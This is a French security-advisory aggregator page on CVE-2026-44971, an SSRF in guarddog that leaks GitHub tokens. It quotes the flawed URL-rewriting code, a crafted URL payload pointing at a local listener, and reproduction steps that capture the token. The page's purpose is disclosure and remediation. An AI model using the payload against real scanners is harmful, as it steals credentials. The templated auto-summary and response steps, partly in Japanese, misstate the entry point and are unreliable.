Catégories
CVE-2026-44971 high CVSS 8.2

SSRF (Falsification de requête côté serveur) dans guarddog (CVE-2026-44971)

Résumé

SSRF dans guarddog (CVE-2026-44971). Des informations confidentielles peuvent être exposées. Exploitable via GH_TOKEN.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Résumé généré automatiquement

Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.

Une vulnérabilité référencée CVE-2026-44971 a été découverte dans guarddog.
Des attaquants peuvent cibler un point d'entrée spécifique comme GH_TOKEN à distance pour détourner le produit.
Des informations confidentielles peuvent être exposées. Score CVSS : 8.2/10.
Action : appliquez le correctif officiel de l'éditeur.
En cas de doute, contactez votre service informatique ou cherchez « guarddog CVE-2026-44971 » sur le site de l'éditeur.

CVE-2026-44971 (guarddog) — CWE-918 / CVSS v3 8.2
Vecteur d'attaque : distant (réseau) / non authentifié / sans interaction utilisateur
Surface d'attaque : GH_TOKEN / url / branch / requirements_name
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.

❓ Quel est le problème

Une SSRF (CWE-918) affecte guarddog. Les attaquants atteignent le code vulnérable via GH_TOKEN sans authentification.

📍 Périmètre concerné

Consultez l'avis de l'éditeur pour les versions affectées de guarddog. Surface d'attaque : GH_TOKEN / url / branch / requirements_name.

🔥 Gravité

Gravité : Élevée (CVSS 8.2/10). Des informations confidentielles peuvent être exposées.

🔧 Comment corriger

Mettre à jour vers la version corrigée selon l'avis éditeur.

🛡️ Contournement

En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.

🔍 Détection

Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.

Actions de réponse

Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre

  1. 1
    Identify exposure identify
    grep -r 'guarddog' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で guarddog を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Paquets affectés

pip guarddog
[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}]
PyPI guarddog
[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"last_affected":"2.9.0"}]}]

Références

Nous utilisons des cookies pour l'analyse d'audience et la mesure publicitaire. Ce réglage s'applique à tous les sites de Game co., Ltd. En savoir plus